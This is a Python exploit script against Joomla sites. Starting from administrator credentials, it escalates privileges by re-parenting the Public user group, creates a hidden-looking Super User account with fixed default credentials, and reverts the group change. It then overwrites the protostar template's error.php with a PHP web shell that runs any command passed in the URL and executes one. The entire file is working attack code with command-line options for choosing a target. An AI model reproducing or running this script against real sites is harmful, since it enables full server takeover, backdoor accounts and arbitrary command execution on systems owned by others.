import sys import requests import re import argparse
def extract_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[-] Cannot find CSRF token!\n") return None return match.group(1)
def try_admin_login(sess, url, uname, upass): admin_url = url + '/administrator/index.php' print('[+] Getting token for admin login') resp = sess.get(admin_url, verify=True) token = extract_token(resp) if not token: return False print('[+] Logging in to admin') data = { 'username': uname, 'passwd': upass, 'task': 'login', token: '1' } resp = sess.post(admin_url, data=data, verify=True) if 'task=profile.edit' not in resp.text: print('[!] Admin Login Failure!') return None print('[+] Admin Login Successfully!') return True
def checkAdmin(url, sess): print("[+] Checking admin") url_check = url + '/administrator/index.php?option=com_users&view=users' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print "[-] You are not administrator!" sys.exit() return token
def checkSuperAdmin(url, sess): print("[+] Checking Superadmin") url_check = url + '/administrator/index.php?option=com_config' resp = sess.get(url_check, verify=True) token = extract_token(resp) if not token: print "[-] You are not Super-Users!" sys.exit() return token
def changeGroup(url, sess, token): print("[+] Changing group") newdata = { 'jform[title]': 'Public', 'jform[parent_id]': 100, 'task': 'group.apply', token: 1 } newdata['task'] = 'group.apply' resp = sess.post(url + "/administrator/index.php?option=com_users&layout=edit&id=1", data=newdata, verify=True) if 'jform[parent_id]' not in resp.text: print('[!] Maybe failed to change group...') return False else: print "[+] Done!" return True
def create_user(url, sess, username, password, email, token): newdata = { 'jform[name]': username, 'jform[username]': username, 'jform[password]': password, 'jform[password2]': password, 'jform[email]': email, 'jform[resetCount]': 0, 'jform[sendEmail]': 0, 'jform[block]': 0, 'jform[requireReset]': 0, 'jform[id]': 0, 'jform[groups][]': 8, token: 1, } newdata['task'] = 'user.apply' url_post = url + "/administrator/index.php?option=com_users&layout=edit&id=0" sess.post(url_post, data=newdata, verify=True) sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) sess = requests.Session() if try_admin_login(sess, url, username, password): print "[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password + "\n[+] Done!" else: print "[-] Sorry,exploit fail!" return sess
def changeGroupDefault(url, sess, token): print("[+] Changing group") newdata = { 'jform[title]': 'Public', 'jform[parent_id]': 0, 'task': 'group.apply', token: 1 } newdata['task'] = 'group.apply' resp = sess.post(url + "/administrator/index.php?option=com_users&layout=edit&id=1", data=newdata, verify=True) if 'jform[parent_id]' not in resp.text: print('[!] Maybe failed to change group...') return False else: print "[+] Done!" return True
def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up) path2shell = '/templates/protostar/error.php?cmd=' + cmd print '[+] Checking:' shreq = sess.get(url + path2shell) shresp = shreq.text print shresp + '[+] Shell link: \n' + (url + path2shell) print '[+] Module finished.'
def main(): ap = argparse.ArgumentParser() ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-usuper", "--usernamesuper", default="hk", help="Super's username") ap.add_argument("-psuper", "--passwordsuper", default="12345678", help="Super's password") ap.add_argument("-esuper", "--emailsuper", default="[email protected]", help="Super's Email") ap.add_argument("-cmd", "--command", default="whoami", help="command") args = vars(ap.parse_args()) url = format(str(args['url'])) print '[+] Your target: ' + url uname = format(str(args['username'])) upass = format(str(args['password'])) command = format(str(args['command'])) usuper = format(str(args['usernamesuper'])) psuper = format(str(args['passwordsuper'])) esuper = format(str(args['emailsuper'])) sess = requests.Session() if not try_admin_login(sess, url, uname, upass): sys.exit() token = checkAdmin(url, sess) if not changeGroup(url, sess, token): print "[-] Sorry,exploit fail!" sys.exit() sess = create_user(url, sess, usuper, psuper, esuper, token) token = checkSuperAdmin(url, sess) if token: changeGroupDefault(url, sess, token) rce(sess, url, command, token)
if __name__ == "__main__": sys.exit(main())
|